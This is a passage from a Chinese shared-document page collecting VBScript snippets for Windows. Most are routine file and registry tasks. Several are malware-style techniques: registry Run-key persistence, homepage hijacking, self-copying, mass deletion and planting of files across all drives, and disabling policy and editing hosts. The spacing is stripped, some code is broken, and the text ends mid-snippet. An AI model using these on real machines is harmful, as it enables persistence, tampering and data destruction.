VBS常用脚本.docx
《VBS常用脚本.docx》由会员分享,可在线阅读,更多相关《VBS常用脚本.docx(22页珍藏版)》请在冰豆网上搜索。
VBS常用脚本
昨天为了解密那个加密的vbs脚本,在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。
VBS脚本用途很多:
1.计算
2.处理文件和文件夹
3.管理Windows
4.处理Word,Excel,PowerPoint等Office文档
5.嵌入网页,驱动dHTML
6.编写HTTP通信
7.调用系统功能(COM组件),比如说语音说话
8.分析HTML,XML
9.调用命令行并分析返回结果
10.处理图片
11.自动化按键
12.调用WindowsMediaPlayer并管理
13.调用WindowsLiveMessenger并管理
14.服务端技术:
ActiveServerPage(ASP)
15.脚本病毒
16.处理数据库
下面是我收集的VBS代码,大部分转自gangzi.org,以后还会更新。
VBS获取系统安装路径
先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。
setWshShell=WScript.CreateObject("WScript.Shell")
strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS获取C:
\ProgramFiles路径
msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
VBS获取C:
\ProgramFiles\CommonFiles路径
msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")
给桌面添加网址快捷方式
setgangzi=WScript.CreateObject("WScript.Shell")
strDesktop=gangzi.SpecialFolders("Desktop")
setoShellLink=gangzi.CreateShortcut(strDesktop&"\InternetExplorer.lnk")
oShellLink.TargetPath="http:
//www.fendou.info"
oShellLink.Description="InternetExplorer"
oShellLink.IconLocation="%ProgramFiles%\InternetExplorer\iexplore.exe,0"
oShellLink.Save
给收藏夹添加网址
ConstADMINISTRATIVE_TOOLS=6
SetobjShell=CreateObject("Shell.Application")
SetobjFolder=objShell.Namespace(ADMINISTRATIVE_TOOLS)
SetobjFolderItem=objFolder.Self
SetobjShell=WScript.CreateObject("WScript.Shell")
strDesktopFld=objFolderItem.Path
SetobjURLShortcut=objShell.CreateShortcut(strDesktopFld&"\奋斗Blog.url")
objURLShortcut.TargetPath="http:
//www.fendou.info/"
objURLShortcut.Save
删除指定目录指定后缀文件
OnErrorResumeNext
Setfso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile"C:
\*.vbs",True
Setfso=Nothing
VBS改主页
SetoShell=CreateObject("WScript.Shell")
oShell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\StartPage","http:
//www.fendou.info"
VBS加启动项
SetoShell=CreateObject("Wscript.Shell")
oShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS复制自己
setcopy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:
\huan.vbs")
复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)
setcopy1=createobject("scripting.filesystemobject")
copy1.getfile("game.exe").copy("c:
\gangzi.exe")
VBS获取系统临时目录
Dimfso
Setfso=CreateObject("Scripting.FileSystemObject")
Dimtempfolder
ConstTemporaryFolder=2
Settempfolder=fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echotempfolder
就算代码出错依然继续执行
OnErrorResumeNext
VBS打开网址
SetobjShell=CreateObject("Wscript.Shell")
objShell.Run("http:
//www.fendou.info/")
VBS发送邮件
NameSpace="
SetEmail=CreateObject("CDO.Message")
Email.From="发件@"
Email.To="收件@"
Email.Subject="Testsendmail.vbs"
Email.Textbody="OK!
"
Email.AddAttachment"C:
\1.txt"
WithEmail.Configuration.Fields
.Item(NameSpace&"sendusing")=2
.Item(NameSpace&"smtpserver")="smtp.邮件服务器.com"
.Item(NameSpace&"smtpserverport")=25
.Item(NameSpace&"smtpauthenticate")=1
.Item(NameSpace&"sendusername")="发件人用户名"
.Item(NameSpace&"sendpassword")="发件人密码"
.Update
EndWith
Email.Send
VBS结束进程
strComputer="."
SetobjWMIService=GetObject_
("winmgmts:
\\"&strComputer&"\root\cimv2")
SetcolProcessList=objWMIService.ExecQuery_
("Select*fromWin32_ProcessWhereName='Rar.exe'")
ForEachobjProcessincolProcessList
objProcess.Terminate()
Next
VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)
createObject("wscript.shell").run"iexplorehttp:
//www.fendou.info/",0
兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了ProgramFiles路径,应该比上面的方法好,但是两种方法都不是绝对的。
Setobjws=WScript.CreateObject("wscript.shell")
objws.Run"""C:
\ProgramFiles\InternetExplorer\iexplore.exe""",vbhide
VBS遍历硬盘删除指定文件名
OnErrorResumeNext
DimfPath
strComputer="."
SetobjWMIService=GetObject_
("winmgmts:
\\"&strComputer&"\root\cimv2")
SetcolProcessList=objWMIService.ExecQuery_
("Select*fromWin32_ProcessWhereName='gangzi.exe'")
ForEachobjProcessincolProcessList
objProcess.Terminate()
Next
SetobjWMIService=GetObject("winmgmts:
"_
&"{impersonationLevel=impersonate}!
\\"&strComputer&"\root\cimv2")
SetcolDirs=objWMIService._
ExecQuery("Select*fromWin32_DirectorywherenameLIKE'%c:
%'ornameLIKE'%d:
%'ornameLIKE'%e:
%'ornameLIKE'%f:
%'ornameLIKE'%g:
%'ornameLIKE'%h:
%'ornameLIKE'%i:
%'")
SetobjFSO=CreateObject("Scripting.FileSystemObject")
ForEachobjDirincolDirs
fPath=objDir.Name&"\gangzi.exe"
objFSO.DeleteFile(fPath),True
Next
VBS获取网卡MAC地址
Dimmc,mo
Setmc=GetObject("Winmgmts:
").InstancesOf("Win32_NetworkAdapterConfiguration")
ForEachmoInmc
Ifmo.IPEnabled=TrueThen
MsgBox"本机网卡MAC地址是:
"&mo.MacAddress
ExitFor
EndIf
Next
VBS获取本机注册表主页地址
Setreg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\StartPage")
MsgBoxstartpage
VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话
OnErrorResumeNext
Setfso=CreateObject("Scripting.FileSystemObject")
Co=VbCrLf&"路过。
。
。
"
ForEachiInfso.Drives
Ifi.DriveType=2Then
GFfso.GetFolder(i&"\")
EndIf
Next
SubGF(fol)
Whfol
Dimi
ForEachiInfol.SubFolders
GFi
Next
EndSub
SubWh(fol)
Dimi
ForEachiInfol.Files
IfLCase(fso.GetExtensionName(i))="shtml"Then
fso.OpenTextFile(i,8,0).WriteCo
EndIf
Next
EndSub
获取计算机所有盘符
Setfso=CreateObject("scripting.filesystemobject")
Setobjdrives=fso.Drives'取得当前计算机的所有磁盘驱动器
ForEachobjdriveInobjdrives'遍历磁盘
MsgBoxobjdrive
Next
VBS给本机所有磁盘根目录创建文件
OnErrorResumeNext
Setfso=CreateObject("Scripting.FileSystemObject")
Setgangzis=fso.Drives'取得当前计算机的所有磁盘驱动器
ForEachgangziIngangzis'遍历磁盘
SetTestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("Bywww.gangzi.org")
TestFile.Close
Next
VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe
setfs=CreateObject("Scripting.FileSystemObject")
foreachdriveinfs.drives
fstraversaldrive.rootfolder
next
subfstraversal(byvalthis)
foreachfolderinthis.subfolders
fstraversalfolder
next
setfiles=this.files
foreachfileinfiles
iffile.name="123.exe"thenfile.name="321.exe"
next
endsub
VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
str=“这里是你要复制到剪贴板的字符串”
Setws=wscript.createobject("wscript.shell")
ws.run"mshtavbscript:
clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
QQ自动发消息
OnErrorResumeNext
str="我是笨蛋/qq"
SetWshShell=WScript.CreateObject("WScript.Shell")
WshShell.run"mshtavbscript:
clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run"tencent:
//message/?
Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep3000
WshShell.SendKeys"^v"
WshShell.SendKeys"%s"
VBS隐藏文件
SetobjFSO=CreateObject("Scripting.FileSystemObject")
SetobjFile=objFSO.GetFile("F:
\软件大赛\show.txt")
IfobjFile.Attributes=objFile.AttributesAND2Then
objFile.Attributes=objFile.AttributesXOR2
EndIf
VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)
Randomize521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgboxjoin(point,"")
VBS删除桌面IE图标(非快捷方式)
SetoShell=CreateObject("WScript.Shell")
oShell.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
VBS获取自身文件名
Setfso=CreateObject("Scripting.FileSystemObject")
msgboxWScript.ScriptName
VBS读取Unicode编码的文件
SetobjFSO=CreateObject("Scripting.FileSystemObject")
SetobjFile=objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText=objFile.ReadAll
objFile.Close
Wscript.EchostrText
VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径
setstm2=createobject("ADODB.Stream")
stm2.Charset="utf-8"
stm2.Open
stm2.LoadFromFilegangzi
readfile=stm2.ReadText
MsgBoxreadfile
VBS禁用组策略
SetoShell=CreateObject("WScript.Shell")
oShell.RegWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量
gangzi="1.txt"
gangzi2="www.gangzi.org"
SetStm1=CreateObject("ADODB.Stream")
Stm1.Type=2
Stm1.Open
Stm1.Charset="UTF-8"
Stm1.Position=Stm1.Size
Stm1.WriteTextgangzi2
Stm1.SaveToFilegangzi,2
Stm1.Close
setStm1=nothing
VBS获取当前目录下所有文件夹名字(不包括子文件夹)
Setfso=CreateObject("scripting.filesystemobject")
Setf=fso.GetFolder(fso.GetAbsolutePathName("."))
Setfolders=f.SubFolders
ForEachfoInfolders
wsh.echofo.Name
Next
Setfolders=Nothing
Setf=nothing
Setfso=nothing
VBS获取指定目录下所有文件夹名字(包括子文件夹)
Dimt
Setfso=WScript.CreateObject("scripting.filesystemobject")
Setfs=fso.GetFolder("d:
\")
WScript.Echoaa(fs)
Functionaa(n)
Setf=n.subfolders
ForEachuuInf
Setop=fso.GetFolder(uu.path)
t=t&vbcrlf&op.path
Callaa(op)
Next
aa=t
Endfunction
VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)
setfso=createobject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http:
//www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:
\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
SetTestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
VBS写hosts(没写判断,无论存不存在都追加底部)
Setfs=CreateObject("Scripting.FileSystemObject")
path=""&fs.GetSpecialFolder
(1)&"\drivers\etc\hosts"
Setf=fs.OpenTextFile(path,8,TristateFalse)
f.Write""&vbcrlf&"127.0.0.1"&vbcrlf&"127.0.0.1"
f.Close
VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace下面所有键的名字并循环输出
ConstHKLM=&H800000